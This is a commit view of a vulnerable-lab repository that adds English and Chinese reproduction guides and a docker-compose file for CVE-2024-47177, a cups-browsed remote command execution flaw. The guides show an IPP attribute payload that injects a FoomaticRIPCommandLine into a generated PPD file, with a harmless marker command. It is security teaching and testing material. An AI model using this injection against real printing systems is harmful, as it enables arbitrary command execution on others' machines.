first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 184 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

View File

@@ -0,0 +1,58 @@
# OpenPrinting Cups-Browsed Remote Code Execution via The FoomaticRIPCommandLine PPD parameter (CVE-2024-47177)
[中文版本(Chinese version)](README.zh-cn.md)
OpenPrinting CUPS (Common Unix Printing System) is an open-source printing system developed for Unix-like operating systems. It allows computers to act as print servers, managing local and network printers efficiently. Cups-Browsed is a daemon that is part of the CUPS system, specifically designed to browse for remote printers shared by other CUPS servers on the network. It facilitates automatic discovery and configuration of network printers, making it easier for users to access and use shared printing resources across a network without manual setup.
In the version 2.0.1 and before of Cups-Browsed, there is an issue from improper handling of the `FoomaticRIPCommandLine` parameter in PPD (PostScript Printer Description) files. An attacker can exploit this vulnerability by creating a malicious IPP (Internet Printing Protocol) server that sends crafted printer information to a vulnerable Cups-Browsed instance, then execute arbitrary command on the system that vulnerable Cups-Browsed is running.
Reference:
- <https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/>
- <https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8>
## Vulnerable Environment
Execute the following command to start a CUPS server 2.4.7 and vulnerable cups-browsed 2.0.1:
```
docker-compose up -d
```
After the server is running, you can access the CUPS web interface via `http://<your-ip>:631`.
## Exploit
First, download the [evil-ipp-server](https://github.com/vulhub/evil-ipp-server) project and run the [poc.py](https://github.com/vulhub/evil-ipp-server/blob/master/poc.py):
```
python poc.py [evil-ipp-server-ip] [target-ip]
```
This script will start a evil IPP server on the `[evil-ipp-server-ip]` and send a UDP packet to the vulnerable Cups-Browsed on the target machine which IP is `[target-ip]`.
Once the Cups-Browsed received the request, it will try to connect to the evil IPP server. The IPP server will send back some attributes including a crafted `printer-privacy-policy-uri` attribute. The payload structure likes following:
```python
(
SectionEnum.printer,
b'printer-privacy-policy-uri',
TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
b'echo 1 > /tmp/I_AM_VULNERABLE' +
b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
```
After that, Cups-Browsed will create a temporary PPD file in `/tmp/` and our payload will be injected in the file. The screenshot below shows the related logs from Cups-Browsed:
![](1.png)
At this time, the command haven't been executed, because we need at least one print job to trigger the execution of the command.
Print jobs can come from regular users or attackers. If TCP port 631 is open, we can use a browser to access it and find the malicious IPP server we just added, then create a "test page printing" job:
![](2.png)
Then you can see, the `echo 1 > /tmp/I_AM_VULNERABLE` command has been executed successfully.
![](3.png)

View File

@@ -0,0 +1,56 @@
# OpenPrinting Cups-Browsed PDD FoomaticRIPCommandLine 参数导致远程命令执行漏洞CVE-2024-47177
OpenPrinting CUPS通用Unix打印系统是为类Unix操作系统开发的开源打印系统。它允许计算机充当打印服务器高效管理本地和网络打印机。Cups-Browsed是CUPS系统的一部分是一个专门用于浏览网络上其他CUPS服务器共享的远程打印机的守护进程。它可以自动发现和配置网络打印机让用户更容易访问和使用网络上共享的打印资源无需手动设置。
在Cups-Browsed 2.0.1及之前的版本中存在一个由PPDPostScript打印机描述文件中的`FoomaticRIPCommandLine`参数处理不当引起的问题。攻击者可以通过创建一个恶意的IPP互联网打印协议服务器来利用这个漏洞向易受攻击的Cups-Browsed实例发送精心制作的打印机信息然后在运行易受攻击的Cups-Browsed的系统上执行任意命令。
参考链接:
- <https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/>
- <https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8>
## 漏洞环境
执行如下命令启动一个2.4.7版本CUPS服务器和2.0.1版本Cups-Browsed服务器
```
docker-compose up -d
```
环境启动后,可以通过`http://<your-ip>:631`访问CUPS的web界面。
## 漏洞复现
首先,下载[evil-ipp-server](https://github.com/vulhub/evil-ipp-server)项目并运行[poc.py](https://github.com/vulhub/evil-ipp-server/blob/master/poc.py):
```
python poc.py [evil-ipp-server-ip] [target-ip]
```
这个脚本会在`[evil-ipp-server-ip]`上启动一个恶意的IPP服务器并向目标机器`[target-ip]`上的Cups-Browsed服务发送一个UDP数据包。
一旦Cups-Browsed接收到请求它将尝试连接到恶意的IPP服务器并。IPP服务器会返回精心构造的`printer-privacy-policy-uri`属性该属性中包含恶意payload其结构如下
```python
(
SectionEnum.printer,
b'printer-privacy-policy-uri',
TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
b'echo 1 > /tmp/I_AM_VULNERABLE' +
b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
```
然后Cups-Browsed会在`/tmp/`目录下创建一个临时PPD文件我们的payload会被注入到这个文件中。下图是相关的Cups-Browsed日志
![](1.png)
此时,命令还未执行,因为我们需要至少一个打印任务来触发命令的执行。
打印任务可能来自于正常用户也可以来自攻击者。如果TCP 631端口开放我们可以使用浏览器访问并找到刚才增加的恶意IPP打印机并创建一个“打印测试页面”的打印任务。
![](2.png)
任务执行后,进入容器即可发现,`echo 1 > /tmp/I_AM_VULNERABLE`命令已经成功执行:
![](3.png)

View File

@@ -0,0 +1,6 @@
services:
cups:
image: vulhub/cups-browsed:2.0.1
ports:
- "631:631/tcp"
- "631:631/udp"